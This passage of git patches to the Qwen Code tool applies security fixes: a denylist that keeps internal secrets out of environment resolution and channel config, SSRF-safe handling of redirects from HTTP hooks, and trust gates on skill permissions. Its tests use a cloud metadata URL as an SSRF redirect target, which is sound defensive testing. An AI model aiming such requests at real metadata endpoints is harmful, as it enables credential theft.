"@qwen-code/qwen-code-core/envVarResolver": [ "../core/src/utils/envVarResolver.ts" ], diff --git a/packages/cli/vitest.config.ts b/packages/cli/vitest.config.ts index 07eaae2fd34..3d791b8fa65 100644 --- a/packages/cli/vitest.config.ts +++ b/packages/cli/vitest.config.ts @@ -27,10 +27,6 @@ export default defineConfig({ __dirname, '../core/src/memory/scopes.ts', ), - '@qwen-code/qwen-code-core/sanitizeChildEnv': path.resolve( - __dirname, - '../core/src/utils/sanitize-child-env.ts', - ), '@qwen-code/qwen-code-core/envVarResolver': path.resolve( __dirname, '../core/src/utils/envVarResolver.ts', diff --git a/packages/core/package.json b/packages/core/package.json index 28e874a7b2a..1bde89beeac 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -29,10 +29,6 @@ "types": "./dist/src/hooks/user-prompt-submit-context.d.ts", "import": "./dist/src/hooks/user-prompt-submit-context.js" }, - "./sanitizeChildEnv": { - "types": "./dist/src/utils/sanitize-child-env.d.ts", - "import": "./dist/src/utils/sanitize-child-env.js" - }, "./envVarResolver": { "types": "./dist/src/utils/envVarResolver.d.ts", "import": "./dist/src/utils/envVarResolver.js" diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 04ee955a068..301745bebe7 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -9,6 +9,17 @@ import { HookEventName, HookType } from './types.js'; import type { HttpHookConfig, HookInput } from './types.js'; import { HttpHookRunner } from './httpHookRunner.js'; +const mockDebugLogger = vi.hoisted(() => ({ + isEnabled: vi.fn(() => false), + debug: vi.fn(), + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), +})); +vi.mock('../utils/debugLogger.js', () => ({ + createDebugLogger: vi.fn(() => mockDebugLogger), +})); + // Mock fetch const mockFetch = vi.fn(); vi.stubGlobal('fetch', mockFetch); @@ -255,6 +266,13 @@ describe('HttpHookRunner', () => { expect(result.output?.continue).toBe(true); // Exactly one request: the redirect target is never fetched expect(mockFetch).toHaveBeenCalledTimes(1); + // The 3xx gets a dedicated, self-service warning naming the target + expect(mockDebugLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('returned a redirect (302)'), + ); + expect(mockDebugLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('http://169.254.169.254/latest/meta-data'), + ); expect(mockFetch).toHaveBeenCalledWith( 'https://api.example.com/hook', expect.objectContaining({ redirect: 'manual' }), diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index ea34e050cfd..bd460e31094 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -257,9 +257,21 @@ export class HttpHookRunner { // Per Qwen Code spec: Non-2xx status is a non-blocking error // Execution continues, but we log a warning if (!response.ok) { - debugLogger.warn( - `HTTP hook ${hookId} returned non-2xx status ${response.status} (non-blocking)`, - ); + if (response.status >= 300 && response.status < 400) { + // With redirect: 'manual' a 3xx lands here; the endpoint is + // behind a redirecting LB and silently no-ops unless the user + // knows to repoint it, so name the target and the remedy. + debugLogger.warn( + `HTTP hook ${hookId} returned a redirect (${response.status}) to ` + + `"${response.headers.get('location') ?? 'unknown'}"; redirects ` + + `are never followed (SSRF protection). Point the hook at the ` + + `final URL (non-blocking).`, + ); + } else { + debugLogger.warn( + `HTTP hook ${hookId} returned non-2xx status ${response.status} (non-blocking)`, + ); + } // Return success: true with continue: true for non-blocking error return { hookConfig, diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index 75e500aff2a..a9caade58b0 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -939,10 +939,6 @@ export class SubagentManager { agentScope, ); } else { - // Single outer guard; nested branch on hookRegistry. The pre-fix - // structure repeated the `config.hooks && Object.keys(...).length` - // predicate across two `if`/`else if` arms, which made it easy to - // drift one side during future edits. debugLogger.warn( `Subagent "${config.name}" declares hooks but the host has no HookSystem; ignoring per-agent hooks.`, ); diff --git a/packages/core/src/utils/envVarResolver.test.ts b/packages/core/src/utils/envVarResolver.test.ts index b192b672553..890a9246056 100644 --- a/packages/core/src/utils/envVarResolver.test.ts +++ b/packages/core/src/utils/envVarResolver.test.ts @@ -75,6 +75,14 @@ describe('resolveEnvVarsInString', () => { expect(result).not.toContain('daemon-secret'); }); + it('should block internal secrets even when customEnv supplies them', () => { + const result = resolveEnvVarsInString('t=$QWEN_SERVER_TOKEN', { + QWEN_SERVER_TOKEN: 'custom-supplied-secret', + }); + expect(result).toBe('t=$QWEN_SERVER_TOKEN'); + expect(result).not.toContain('custom-supplied-secret'); + }); + it('should leave undefined variables with braces unchanged', () => { const result = resolveEnvVarsInString('Value is ${UNDEFINED_VAR}'); diff --git a/packages/core/src/utils/envVarResolver.ts b/packages/core/src/utils/envVarResolver.ts index 069b6d4a3cc..0fd110fd2da 100644 --- a/packages/core/src/utils/envVarResolver.ts +++ b/packages/core/src/utils/envVarResolver.ts @@ -32,12 +32,14 @@ export function resolveEnvVarsInString( const envVarRegex = /\$(?:(\w+)|{([^}]+)})/g; // Find $VAR_NAME or ${VAR_NAME} return value.replace(envVarRegex, (match, varName1, varName2) => { const varName = varName1 || varName2; - if (customEnv && typeof customEnv[varName] === 'string') { - return customEnv[varName]; - } + // Check the denylist before customEnv so no caller-supplied map can + // ever resolve an internal secret. if (isInternalSecretEnvVar(varName)) { return match; } + if (customEnv && typeof customEnv[varName] === 'string') { + return customEnv[varName]; + } if (process && process.env && typeof process.env[varName] === 'string') { return process.env[varName]!; } diff --git a/packages/core/src/utils/sanitize-child-env.test.ts b/packages/core/src/utils/sanitize-child-env.test.ts index a311e5bf6a8..f670be8595c 100644 --- a/packages/core/src/utils/sanitize-child-env.test.ts +++ b/packages/core/src/utils/sanitize-child-env.test.ts @@ -23,6 +23,17 @@ describe('sanitizeChildEnv', () => { expect(result['QWEN_CODE_PRIVATE_ACP_CAPABILITY']).toBeUndefined(); }); + it('removes internal secrets regardless of key casing (Windows process.env)', () => { + const result = sanitizeChildEnv({ + qwen_server_token: 'lowercase-secret', + Qwen_Daemon_Token: 'mixed-case-secret', + PATH: '/usr/bin', + }); + expect(result['qwen_server_token']).toBeUndefined(); + expect(result['Qwen_Daemon_Token']).toBeUndefined(); + expect(result['PATH']).toBe('/usr/bin'); + }); + it('preserves benign vars and third-party credentials that shell workflows need', () => { const result = sanitizeChildEnv({ QWEN_SERVER_TOKEN: 'super-secret', diff --git a/packages/core/src/utils/sanitize-child-env.ts b/packages/core/src/utils/sanitize-child-env.ts index 6f0de8b1143..a328ebad2f8 100644 --- a/packages/core/src/utils/sanitize-child-env.ts +++ b/packages/core/src/utils/sanitize-child-env.ts @@ -55,8 +55,12 @@ export function sanitizeChildEnv( env: NodeJS.ProcessEnv = process.env, ): NodeJS.ProcessEnv { const sanitized: NodeJS.ProcessEnv = { ...env }; - for (const key of INTERNAL_SECRET_ENV_VARS) { - delete sanitized[key]; + // Case variants must go too: on Windows env keys are case-insensitive, + // so an externally set `qwen_server_token` is just the canonical secret. + for (const key of Object.keys(sanitized)) { + if (isInternalSecretEnvVar(key)) { + delete sanitized[key]; + } } return sanitized; } From 9569dbf71aaf0b173318f8063de6b80644ea4eda Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 06:33:28 +0000 Subject: [PATCH 09/21] fix(core): channel-config secret denylist, skill allowedTools trust gate, 3xx systemMessage (#8396) --- .../src/commands/channel/config-utils.test.ts | 71 +++++++++++++++++++ .../cli/src/commands/channel/config-utils.ts | 13 ++++ .../src/services/SkillCommandLoader.test.ts | 61 ++++++++++++++++ .../cli/src/services/SkillCommandLoader.ts | 15 ++-- .../core/src/hooks/httpHookRunner.test.ts | 15 ++++ packages/core/src/hooks/httpHookRunner.ts | 26 ++++--- packages/core/src/tools/skill.test.ts | 61 ++++++++++++++++ packages/core/src/tools/skill.ts | 32 ++++++--- packages/core/src/utils/envVarResolver.ts | 4 ++ 9 files changed, 274 insertions(+), 24 deletions(-) diff --git a/packages/cli/src/commands/channel/config-utils.test.ts b/packages/cli/src/commands/channel/config-utils.test.ts index 3ffa4cbd1eb..107581a3a62 100644 --- a/packages/cli/src/commands/channel/config-utils.test.ts +++ b/packages/cli/src/commands/channel/config-utils.test.ts @@ -796,3 +796,74 @@ describe('parseChannelConfig', () => { ); }); }); + +describe('internal-secret denylist', () => { + const SECRET = 'QWEN_SERVER_TOKEN'; + + afterEach(() => { + delete process.env[SECRET]; + delete process.env[SECRET.toLowerCase()]; + }); + + it('resolveEnvVars leaves Qwen-internal secrets unresolved', () => { + process.env[SECRET] = 'daemon-secret'; + expect(resolveEnvVars(`$${SECRET}`)).toBe(`$${SECRET}`); + }); + + it('resolveEnvVars blocks case variants (Windows-style process.env)', () => { + process.env[SECRET.toLowerCase()] = 'daemon-secret'; + expect(resolveEnvVars(`$${SECRET.toLowerCase()}`)).toBe( + `$${SECRET.toLowerCase()}`, + ); + }); + + it('parseChannelConfig never resolves internal secrets into channel credentials', async () => { + process.env[SECRET] = 'daemon-secret'; + + const defaultMode = await parseChannelConfig('bot', { + type: 'github', + token: `$${SECRET}`, + }); + expect(defaultMode.token).toBe(`$${SECRET}`); + + const availableMode = await parseChannelConfig( + 'bot', + { type: 'github', token: `$${SECRET}` }, + undefined, + { resolveEnvVars: 'available' }, + ); + expect(availableMode.token).toBe(`$${SECRET}`); + }); + + it('webhook secret and secretEnv never resolve Qwen-internal secrets', async () => { + process.env[SECRET] = 'daemon-secret'; + + const viaSecret = await parseChannelConfig('dingtalk-main', { + type: 'bare', + token: 'token', + webhooks: { + sources: { + custom: { + secret: `$${SECRET}`, + targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + }, + }, + }, + }); + expect(viaSecret['webhooks']?.sources['custom']?.secret).toBe(`$${SECRET}`); + + const viaSecretEnv = await parseChannelConfig('dingtalk-main', { + type: 'bare', + token: 'token', + webhooks: { + sources: { + custom: { + secretEnv: SECRET, + targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + }, + }, + }, + }); + expect(viaSecretEnv['webhooks']?.sources['custom']?.secret).toBe(SECRET); + }); +}); diff --git a/packages/cli/src/commands/channel/config-utils.ts b/packages/cli/src/commands/channel/config-utils.ts index 9ffe908120b..4c76981de1e 100644 --- a/packages/cli/src/commands/channel/config-utils.ts +++ b/packages/cli/src/commands/channel/config-utils.ts @@ -4,6 +4,7 @@ import type { ChannelWebhookSourceConfig, ChannelWebhookTargetConfig, } from '@qwen-code/channel-base'; +import { isInternalSecretEnvVar } from '@qwen-code/qwen-code-core/envVarResolver'; import { resolveChannelCwd } from './channel-cwd.js'; import { getPlugin, supportedTypes } from './channel-registry.js'; @@ -29,6 +30,12 @@ export function resolveEnvVars( } if (value.startsWith('$')) { const envName = value.substring(1); + // Qwen-internal secrets never resolve into channel config: resolved + // values are sent to repo-configured endpoints. Leave the placeholder + // unresolved, mirroring the core resolver. + if (isInternalSecretEnvVar(envName)) { + return value; + } const envValue = env[envName]; if (envValue === undefined) { throw new Error( @@ -76,6 +83,9 @@ function resolveConfigEnvVar(value: string, mode: EnvResolution): string { if (value.startsWith('$$')) return value.substring(1); if (mode === 'available' && value.startsWith('$')) { const envName = value.substring(1); + if (isInternalSecretEnvVar(envName)) { + return value; + } const envValue = process.env[envName]; if (envValue === undefined) { throw new Error( @@ -290,6 +300,9 @@ function resolveWebhookSecretEnv( `Channel "${channelName}" field "${path}.secretEnv" must be an environment variable name or $-prefixed reference.`, ); } + if (isInternalSecretEnvVar(envName)) { + return secretEnv; + } const envValue = env[envName]; if (envValue === undefined) { throw new Error( diff --git a/packages/cli/src/services/SkillCommandLoader.test.ts b/packages/cli/src/services/SkillCommandLoader.test.ts index d9c200ccfa1..c7f2aed5eb9 100644 --- a/packages/cli/src/services/SkillCommandLoader.test.ts +++ b/packages/cli/src/services/SkillCommandLoader.test.ts @@ -57,6 +57,7 @@ describe('SkillCommandLoader', () => { getBareMode: vi.fn().mockReturnValue(false), getProjectRoot: vi.fn().mockReturnValue('/test/project'), getAutoSkillEnabled: vi.fn().mockReturnValue(true), + isTrustedFolder: vi.fn().mockReturnValue(true), getPermissionManager: vi .fn() .mockReturnValue({ addSessionAllowRule: mockAddSessionAllowRule }), @@ -497,6 +498,66 @@ describe('SkillCommandLoader', () => { expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); }); + + it('does not grant allowedTools for a project skill in an untrusted folder', async () => { + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'project', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'project' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + }); + + it('grants allowedTools for a project skill in a trusted folder', async () => { + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + true, + ); + const skill = makeSkill({ + level: 'project', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'project' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); + + it('grants allowedTools for a user-level skill regardless of folder trust', async () => { + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'user', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'user' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); }); describe('skills.disabled filter', () => { diff --git a/packages/cli/src/services/SkillCommandLoader.ts b/packages/cli/src/services/SkillCommandLoader.ts index fd0b594b08b..fe14fc1188e 100644 --- a/packages/cli/src/services/SkillCommandLoader.ts +++ b/packages/cli/src/services/SkillCommandLoader.ts @@ -151,11 +151,16 @@ export class SkillCommandLoader implements ICommandLoader { : {}), }, action: async (context, _args): Promise => { - // Auto-approve the skill's declared allowedTools before its body is submitted. - applySkillAllowedTools( - this.config?.getPermissionManager(), - skill.allowedTools, - ); + // Auto-approve the skill's declared allowedTools before its body + // is submitted — never for project skills in an untrusted folder, + // where repo-supplied frontmatter would otherwise grant + // session-wide permission auto-approvals (same gate as SkillTool). + if (skill.level !== 'project' || this.config?.isTrustedFolder()) { + applySkillAllowedTools( + this.config?.getPermissionManager(), + skill.allowedTools, + ); + } const body = buildSkillLlmContent( dirname(skill.filePath), diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 301745bebe7..6a59e31817d 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -176,6 +176,7 @@ describe('HttpHookRunner', () => { ok: false, status: 500, statusText: 'Internal Server Error', + headers: new Headers(), }); const config = createMockConfig(); @@ -190,6 +191,16 @@ describe('HttpHookRunner', () => { // Non-2xx is a non-blocking error, so success should be true expect(result.success).toBe(true); expect(result.output?.continue).toBe(true); + // Pins the branch condition: a plain server error must get the + // generic non-2xx message, never the redirect diagnostics. + expect(mockDebugLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('returned non-2xx status 500'), + ); + expect(mockDebugLogger.warn).not.toHaveBeenCalledWith( + expect.stringContaining('returned a redirect'), + ); + // Only 3xx responses surface a user-visible warning. + expect(result.output?.systemMessage).toBeUndefined(); }); it('should handle timeout as non-blocking error', async () => { @@ -266,6 +277,10 @@ describe('HttpHookRunner', () => { expect(result.output?.continue).toBe(true); // Exactly one request: the redirect target is never fetched expect(mockFetch).toHaveBeenCalledTimes(1); + // The remedy reaches the user in default runs, not just the debug log + expect(result.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); // The 3xx gets a dedicated, self-service warning naming the target expect(mockDebugLogger.warn).toHaveBeenCalledWith( expect.stringContaining('returned a redirect (302)'), diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index bd460e31094..df40e0e1f78 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -261,17 +261,25 @@ export class HttpHookRunner { // With redirect: 'manual' a 3xx lands here; the endpoint is // behind a redirecting LB and silently no-ops unless the user // knows to repoint it, so name the target and the remedy. - debugLogger.warn( + // debugLogger.warn alone is invisible in default runs, so also + // surface it the way command-hook non-blocking errors do. + const message = `HTTP hook ${hookId} returned a redirect (${response.status}) to ` + - `"${response.headers.get('location') ?? 'unknown'}"; redirects ` + - `are never followed (SSRF protection). Point the hook at the ` + - `final URL (non-blocking).`, - ); - } else { - debugLogger.warn( - `HTTP hook ${hookId} returned non-2xx status ${response.status} (non-blocking)`, - ); + `"${response.headers.get('location') ?? 'unknown'}"; redirects ` + + `are never followed (SSRF protection). Point the hook at the ` + + `final URL (non-blocking).`; + debugLogger.warn(message); + return { + hookConfig, + eventName, + success: true, + output: { continue: true, systemMessage: `Warning: ${message}` }, + duration, + }; } + debugLogger.warn( + `HTTP hook ${hookId} returned non-2xx status ${response.status} (non-blocking)`, + ); // Return success: true with continue: true for non-blocking error return { hookConfig, diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index 13de20f6474..7dd98970b83 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -605,6 +605,67 @@ describe('SkillTool', () => { }); }); + describe('allowedTools trust gating', () => { + const projectSkill: SkillConfig = { + name: 'build', + description: 'Project skill with allowedTools', + level: 'project', + filePath: '/project/.qwen/skills/build/SKILL.md', + body: 'Body.', + allowedTools: ['Edit', 'Bash(git push *)'], + }; + + beforeEach(() => { + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue( + projectSkill, + ); + }); + + it('does not grant allowedTools for a project skill in an untrusted folder', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + const result = await invocation.execute(); + + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + // The skill itself still loads — only the permission grants are gated. + expect(partToString(result.llmContent)).toContain('Body.'); + }); + + it('grants allowedTools for a project skill in a trusted folder', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await invocation.execute(); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + expect(mockAddSessionAllowRule).toHaveBeenNthCalledWith(1, 'Edit'); + expect(mockAddSessionAllowRule).toHaveBeenNthCalledWith( + 2, + 'Bash(git push *)', + ); + }); + + it('grants allowedTools for a user-level skill regardless of folder trust', async () => { + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...projectSkill, + level: 'user', + }); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'build' }); + await invocation.execute(); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + }); + }); + describe('refreshSkills', () => { it('should refresh when change listener fires', async () => { const newSkills: SkillConfig[] = [ diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index b6853cf16ce..485d4f082ce 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -518,11 +518,27 @@ class SkillToolInvocation extends BaseToolInvocation { this.onSkillLoaded(this.params.skill); - // Auto-approve the skill's declared allowedTools for the rest of the session. - applySkillAllowedTools( - this.config.getPermissionManager(), - skill.allowedTools, - ); + // Project skills are discovered regardless of folder trust, but + // repo-supplied side effects are gated until the folder is trusted: + // allowedTools become session-wide permission auto-approvals, and + // hooks are code execution (the same gate Config.getProjectHooks() + // applies to settings-file hooks). + const untrustedProjectSkill = + skill.level === 'project' && !this.config.isTrustedFolder(); + + if (untrustedProjectSkill) { + if (skill.allowedTools?.length) { + debugLogger.warn( + `Skill "${this.params.skill}" declares allowedTools but the folder is not trusted; ignoring skill allowedTools.`, + ); + } + } else { + // Auto-approve the skill's declared allowedTools for the rest of the session. + applySkillAllowedTools( + this.config.getPermissionManager(), + skill.allowedTools, + ); + } // Register skill hooks if present debugLogger.debug('Skill hooks check:', { @@ -531,11 +547,7 @@ class SkillToolInvocation extends BaseToolInvocation { skillName: skill.name, }); if (skill.hooks) { - if (skill.level === 'project' && !this.config.isTrustedFolder()) { - // Project skills are discovered regardless of folder trust - // (their instructions only influence the model), but their - // hooks are repo-supplied code execution — the same gate - // Config.getProjectHooks() applies to settings-file hooks. + if (untrustedProjectSkill) { debugLogger.warn( `Skill "${this.params.skill}" declares hooks but the folder is not trusted; ignoring skill hooks.`, ); diff --git a/packages/core/src/utils/envVarResolver.ts b/packages/core/src/utils/envVarResolver.ts index 0fd110fd2da..1df91b796c3 100644 --- a/packages/core/src/utils/envVarResolver.ts +++ b/packages/core/src/utils/envVarResolver.ts @@ -6,6 +6,10 @@ import { isInternalSecretEnvVar } from './sanitize-child-env.js'; +// Exposed so CLI-side resolvers (e.g. channel config) apply the same +// denylist through this leaf import instead of the full core bundle. +export { isInternalSecretEnvVar }; + /** * Resolves environment variables in a string. * Replaces $VAR_NAME and ${VAR_NAME} with their corresponding environment variable values. From 832f82b47a00ca82dfcc36773bcdab7a03628b20 Mon Sep 17 00:00:00 2001 From: qwen-code-ci-bot Date: Mon, 3 Aug 2026 09:04:18 +0000 Subject: [PATCH 10/21] fix(hooks): throw on internal-secret channel refs, sanitize redirect warnings, fail-closed trust gates (#8396) --- docs/users/features/hooks.md | 2 +- .../src/commands/channel/config-utils.test.ts | 92 ++++++++------- .../cli/src/commands/channel/config-utils.ts | 18 ++- packages/cli/src/config/settings.test.ts | 11 +- packages/cli/src/config/settings.ts | 9 +- .../src/services/SkillCommandLoader.test.ts | 25 ++++ .../cli/src/services/SkillCommandLoader.ts | 13 ++- .../core/src/hooks/httpHookRunner.test.ts | 107 +++++++++++++++++- packages/core/src/hooks/httpHookRunner.ts | 32 +++++- packages/core/src/index.ts | 1 + .../src/subagents/subagent-manager.test.ts | 29 +++++ .../core/src/subagents/subagent-manager.ts | 17 ++- packages/core/src/tools/skill-utils.test.ts | 18 +++ packages/core/src/tools/skill-utils.ts | 12 ++ packages/core/src/tools/skill.test.ts | 22 ++++ packages/core/src/tools/skill.ts | 20 ++-- packages/core/src/utils/sanitize-child-env.ts | 7 +- 17 files changed, 362 insertions(+), 73 deletions(-) diff --git a/docs/users/features/hooks.md b/docs/users/features/hooks.md index 66c3f3a9d3c..003ffc57e73 100644 --- a/docs/users/features/hooks.md +++ b/docs/users/features/hooks.md @@ -117,7 +117,7 @@ By default, HTTP hooks cannot target private or link-local IP ranges. In platfor - This setting is **only honored from User, System, and SystemDefaults settings scopes**. A value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can never self-grant this bypass. - The flag relaxes only the general private/CGNAT/link-local **range** checks. Cloud metadata endpoints stay blocked in every configuration: the `BLOCKED_HOSTS` list is matched literally (`metadata.google.internal`, `metadata.azure.internal`, ...), and the metadata IPs `169.254.169.254` and `100.100.100.200` are blocked in all serialized forms (including IPv4-mapped IPv6 such as `::ffff:a9fe:a9fe`) and after DNS resolution. -- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can neither widen where hook payloads may be sent nor replace the user's whitelist. +- The `security.allowedHttpHookUrls` whitelist still applies independently. In managed environments, pair this flag with a whitelist so only the intended internal endpoints are reachable. Like this flag, the whitelist is **only honored from User, System, and SystemDefaults settings scopes**; a value set in Workspace (project) settings is ignored and logged as a warning, so a cloned repository can neither widen where hook payloads may be sent nor replace the user's whitelist. Note the strip is strict in both directions: a workspace whitelist that only _narrows_ allowed URLs is ignored as well, so if no higher scope sets a whitelist, HTTP hooks may reach any host the SSRF protections allow. To keep a narrowing whitelist in effect, move it to your user settings. > **Warning:** Enabling this flag lets hooks reach internal infrastructure on your network. Enable it only in trusted, managed settings — never in a repository you do not control. diff --git a/packages/cli/src/commands/channel/config-utils.test.ts b/packages/cli/src/commands/channel/config-utils.test.ts index 107581a3a62..9a548ceb48a 100644 --- a/packages/cli/src/commands/channel/config-utils.test.ts +++ b/packages/cli/src/commands/channel/config-utils.test.ts @@ -805,65 +805,75 @@ describe('internal-secret denylist', () => { delete process.env[SECRET.toLowerCase()]; }); - it('resolveEnvVars leaves Qwen-internal secrets unresolved', () => { + it('resolveEnvVars rejects Qwen-internal secrets instead of yielding the name as a value', () => { process.env[SECRET] = 'daemon-secret'; - expect(resolveEnvVars(`$${SECRET}`)).toBe(`$${SECRET}`); + expect(() => resolveEnvVars(`$${SECRET}`)).toThrow( + `${SECRET} is a Qwen-internal secret`, + ); }); - it('resolveEnvVars blocks case variants (Windows-style process.env)', () => { + it('resolveEnvVars rejects case variants (Windows-style process.env)', () => { process.env[SECRET.toLowerCase()] = 'daemon-secret'; - expect(resolveEnvVars(`$${SECRET.toLowerCase()}`)).toBe( - `$${SECRET.toLowerCase()}`, + expect(() => resolveEnvVars(`$${SECRET.toLowerCase()}`)).toThrow( + 'is a Qwen-internal secret', ); }); - it('parseChannelConfig never resolves internal secrets into channel credentials', async () => { + it('parseChannelConfig rejects internal secrets in channel credentials', async () => { process.env[SECRET] = 'daemon-secret'; - const defaultMode = await parseChannelConfig('bot', { - type: 'github', - token: `$${SECRET}`, - }); - expect(defaultMode.token).toBe(`$${SECRET}`); + await expect( + parseChannelConfig('bot', { + type: 'github', + token: `$${SECRET}`, + }), + ).rejects.toThrow(`${SECRET} is a Qwen-internal secret`); - const availableMode = await parseChannelConfig( - 'bot', - { type: 'github', token: `$${SECRET}` }, - undefined, - { resolveEnvVars: 'available' }, - ); - expect(availableMode.token).toBe(`$${SECRET}`); + await expect( + parseChannelConfig( + 'bot', + { type: 'github', token: `$${SECRET}` }, + undefined, + { resolveEnvVars: 'available' }, + ), + ).rejects.toThrow(`${SECRET} is a Qwen-internal secret`); }); - it('webhook secret and secretEnv never resolve Qwen-internal secrets', async () => { + it('webhook secret and secretEnv reject Qwen-internal secrets', async () => { process.env[SECRET] = 'daemon-secret'; - const viaSecret = await parseChannelConfig('dingtalk-main', { - type: 'bare', - token: 'token', - webhooks: { - sources: { - custom: { - secret: `$${SECRET}`, - targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + await expect( + parseChannelConfig('dingtalk-main', { + type: 'bare', + token: 'token', + webhooks: { + sources: { + custom: { + secret: `$${SECRET}`, + targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + }, }, }, - }, - }); - expect(viaSecret['webhooks']?.sources['custom']?.secret).toBe(`$${SECRET}`); + }), + ).rejects.toThrow(`${SECRET} is a Qwen-internal secret`); - const viaSecretEnv = await parseChannelConfig('dingtalk-main', { - type: 'bare', - token: 'token', - webhooks: { - sources: { - custom: { - secretEnv: SECRET, - targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + // secretEnv used to return the variable *name* as the secret — a + // public constant that makes HMAC verification bypassable. + await expect( + parseChannelConfig('dingtalk-main', { + type: 'bare', + token: 'token', + webhooks: { + sources: { + custom: { + secretEnv: SECRET, + targets: { default: { chatId: 'group-1', senderId: 'webhook' } }, + }, }, }, - }, - }); - expect(viaSecretEnv['webhooks']?.sources['custom']?.secret).toBe(SECRET); + }), + ).rejects.toThrow( + `references a Qwen-internal secret (${SECRET}); internal secrets are never resolved into channel config`, + ); }); }); diff --git a/packages/cli/src/commands/channel/config-utils.ts b/packages/cli/src/commands/channel/config-utils.ts index 4c76981de1e..0fe90df90b0 100644 --- a/packages/cli/src/commands/channel/config-utils.ts +++ b/packages/cli/src/commands/channel/config-utils.ts @@ -31,10 +31,14 @@ export function resolveEnvVars( if (value.startsWith('$')) { const envName = value.substring(1); // Qwen-internal secrets never resolve into channel config: resolved - // values are sent to repo-configured endpoints. Leave the placeholder - // unresolved, mirroring the core resolver. + // values are sent to repo-configured endpoints. The core resolver + // preserves placeholders, but channel config throws at config time + // like every other unresolvable reference — silently keeping the + // literal would turn a secret *name* into a public, guessable value. if (isInternalSecretEnvVar(envName)) { - return value; + throw new Error( + `Environment variable ${envName} is a Qwen-internal secret; internal secrets are never resolved into channel config (referenced as ${value})`, + ); } const envValue = env[envName]; if (envValue === undefined) { @@ -84,7 +88,9 @@ function resolveConfigEnvVar(value: string, mode: EnvResolution): string { if (mode === 'available' && value.startsWith('$')) { const envName = value.substring(1); if (isInternalSecretEnvVar(envName)) { - return value; + throw new Error( + `Environment variable ${envName} is a Qwen-internal secret; internal secrets are never resolved into channel config (referenced as ${value})`, + ); } const envValue = process.env[envName]; if (envValue === undefined) { @@ -301,7 +307,9 @@ function resolveWebhookSecretEnv( ); } if (isInternalSecretEnvVar(envName)) { - return secretEnv; + throw new Error( + `Channel "${channelName}" field "${path}.secretEnv" references a Qwen-internal secret (${envName}); internal secrets are never resolved into channel 